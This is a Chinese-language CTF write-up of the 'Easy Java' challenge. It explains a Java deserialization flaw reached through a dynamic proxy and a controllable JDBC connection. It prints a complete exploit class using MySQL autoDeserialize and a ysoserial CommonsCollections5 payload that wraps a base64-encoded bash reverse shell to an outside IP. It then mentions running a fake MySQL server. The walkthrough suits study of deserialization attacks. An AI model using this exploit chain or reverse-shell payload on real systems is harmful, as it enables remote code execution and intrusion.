首先审源码
几个路由就进行了反序列化的操作。
然后把反序列化的值。放入模板。渲染
继续看下面deserialize函数的具体实现
这里SerialKiller。是一个控制你能反序列化那些类的
这里他指定了白名单只能反序列化gdufs和java.lang下的类
OK。那么现在存在反序列化漏洞但是有白名单
还有一个是可能存在模板注入。但是语法试了下。都没解析。
继续看源码
还存在Databaseinfo类和infoinvocationHander类
这两个类都实现了serialize接口。
并且Databaseinfo类。实现了info接口
public class DatabaseInfo implements Serializable, Info
InfoInvocationHandler类。实现了InvocationHandler
public class InfoInvocationHandler implements InvocationHandler, Serializable
这就又涉及到java的动态代理
如果不清楚。看https://www.jianshu.com/p/e575bba365f8
这篇文章。看懂就没啥问题了
这里呢。首先反序列化会触发InfoInvocationHandler的invoke方法。然后调用传入类的
代理对象在执行被代理对象的任意方法时,会首先执行我们之前重写的InvocationHandler的invoke方法。同时会传入三个参数
checkAllInfo方法
到了这里。我们是不是可以把Databaseinfo类放入这个代理类中。导致
this.info = Databaseinfo类
下面继续调用
this.info.checkAllInfo()
就调用调用了databaseinfo类的checkAllinfo方法
继续看
他调用了checkAllinfo方法。又会调用connect方法
用jdbc去连接IP:PORT
那么反序列化。我们这些值都可控。所以又有两种可能
1.JDBC反序列化
2.mysql任意文件读取
欸。突然想起来
还记得之前SerialKiller的白名单嘛。这两个类。刚好都是gdufs下的。所以都是允许的
下面是exp
package gdufs.challenge.web;
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class exp {
public static void main(String[] args) throws Exception {
DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("119.45.155.77");
databaseInfo.setPort("3306");
databaseInfo.setUsername("yso_CommonsCollections5_bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzExOS40NS4xNTUuNzcvMTMzNyAwPiYx}|{base64,-d}|{bash,-i}");
databaseInfo.setPassword("123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
ClassLoader classLoader = databaseInfo.getClass().getClassLoader();
Class[] interfaces = databaseInfo.getClass().getInterfaces();
InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
Info proxy = (Info)Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(proxy);
objectOutputStream.flush();
objectOutputStream.close();
System.out.printf(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
}
还是看的https://zhzhdoai.github.io/2020/09/11/%E7%BE%8A%E5%9F%8E%E6%9D%AFEasy-Java%E9%A2%98%E8%A7%A3/
师傅的博客复现的
但是我本地起来以后。并没找到repository/org/nibblesec/serialkiller/0.4/serialkiller-0.4.pom中的commons版本。而是在https://github.com/ikkisoft/SerialKiller/blob/master/pom.xml
上。发现了SerialKiller包依赖于commons-collections这个包。所以可以用yso一把梭
途中还有些坑。比如。打开下来的java源码。写个exp。idea右键没run方法。这是因为idea把他当spring项目。嘚像web启动。不能单个文件run。。
解决办法:
File->Project Structure->
把这个目录变成目录。而不是spring项目。
写exp就可以正常执行了
然后VPS启动Fake_mysql_server。监听就行了